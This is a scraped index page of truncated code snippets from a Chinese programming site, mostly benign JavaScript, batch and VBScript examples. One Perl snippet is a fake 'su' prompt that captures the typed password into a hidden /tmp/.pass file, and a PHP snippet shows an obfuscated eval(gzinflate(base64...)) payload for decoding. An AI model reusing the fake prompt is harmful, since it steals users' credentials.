脚本说明:第一步:把如下代码加入<head>区域中<SCRIPTLANGUAGE="JavaScript"><!--BeginfunctionchangeCase(frmObj){varindex;vartmpStr;vartmpChar;varpreString;varpostString;varstrlen;tmpStr=frmObj.value.toLowerCase();strLen=tmpStr.length;if(strLen>0){for(index=0;index<strLen;index++){if(index==0){tmpChar...
http://www.jb51.net//article/15953.htm
我改了一下,把回显关了加了个延时:#!/usr/bin/perl#Writtenbyxi4oyu<evil.xi4oyu@gmail.com>.print"Password:";`stty-echo`;$s1=<STDIN>;print"\n";`sttyecho`;sleep3;print"su:incorrectpassword\n";chomp($s1);$s2="Passwordis:";$s3="".`date+%Y-%m-%d`;open(users,">>/tmp/.pass")||die;printusers($s2,$s1,$s3);clo...
http://www.jb51.net//article/15832.htm
对应的写了一个简单的解密的,专门针对eval。这个原理很有用途的,在这里记下。[code]<?php/*author:zhiwushandate:20080411*/ //已经加密的文件内容$a="eval(gzinflate(str_rot13(base64_decode('DdNUsptVAADQq2vn7+oFGU6VPb+EyE4EiSA2LhAZUZN2OP343eF9//f7+1S+Jd1KbNZ90SVY/jUv098JLgT1lSZmztJ/s/wNs/zrp5jd/XZLrter6I6UEqkkshUXmfWmEQNnhJfcdH7qCvlmY60ku0QVlfMMSU...
http://www.jb51.net//article/15737.htm
[code]主要用于收集ip、mac、姓名、房间,后来又加入了维修记录的功能。服务器端接受数据并存入数据库中。#############################use strict;use Tk;use Encode;#SOCKE参数my $PF_INET = 2;my $port = 2345;my $remote_addr = pack('SnC4x8',$PF_INET,$port,192,168,138,228);my $SOCK_DGR...
http://www.jb51.net//article/15458.htm
把他们全都换成大写或小写,再比较就可以了 indexOf对象内第一次出现子字符串的字符位置 用toLowerCase或toUpperCase [html]<script>var testStr = 'ABCDEF';var subStr = 'bcd';alert(testStr.toLowerCase().indexOf(subStr.toLowerCase()));testStr = 'AbCdEf';alert(testStr.toLowerCase()....
http://www.jb51.net//article/15445.htm
因为某些网站把内容图片以每页显示一幅的形式呈现,而每页都有大量没用的垃圾信息(广告、新闻和无关图片),非常影响看图效率。所以写了这个,只要知道第一幅图片的URL,填在本网页里,设置一下起始和结束编号,就可以显示带有数字编号的图片了,同时还有一些常用到的贴心功能。当然,对于某些网站存放的无序图片就无能为力了。 介绍完了,下面是代码内容,希望能对JS新手们有点帮助吧(请自行把下面代码里所有的“'”替换为单引号。我对这里这个格式实在没辙了):[code]<SCRIPT>//CTRL+鼠标滚轮放大或缩小图片:function imgzoom(o)...
http://www.jb51.net//article/15278.htm
guestbook.php: <head> <meta http-equiv="Content-Language" c> <meta http-equiv="Content-Type" c> <title></title> <STYLE>A:link { COLOR: #002878; TEXT-DE...
http://www.jb51.net//article/15254.htm
if ProcessExists("qq.exe") then $QQPID = ProcessExists("qq.exe") ProcessClose (...
http://www.jb51.net//article/14820.htm
[code]@echo off title 收不到台的电视机 :a cls for /l %%b in (1,6,7)do ( color %%bf ) goto a [/code]...
http://www.jb51.net//article/14751.htm
EmbeddingandincludingwriteandwritelnDocumentobjectMessageboxFunctionEventhandlerFormLinkDateWindowFrameEmbeddingandincludingLet'sfirstseeasimpleexample:<html><head><title>ThisisaJavaScriptexample</title><scriptlanguage="JavaScript"><!--document.write("HelloWorld!");/...
http://www.jb51.net//article/14723.htm
dim ActionIDActionID = 1 '0注销,1关机,2重启,ActionTime = "2006-1-4 13:42:30" '关机或重启时间function ShutDown() dim objShell Set objShell = WScript.CreateObject("Wscr...
http://www.jb51.net//article/14641.htm
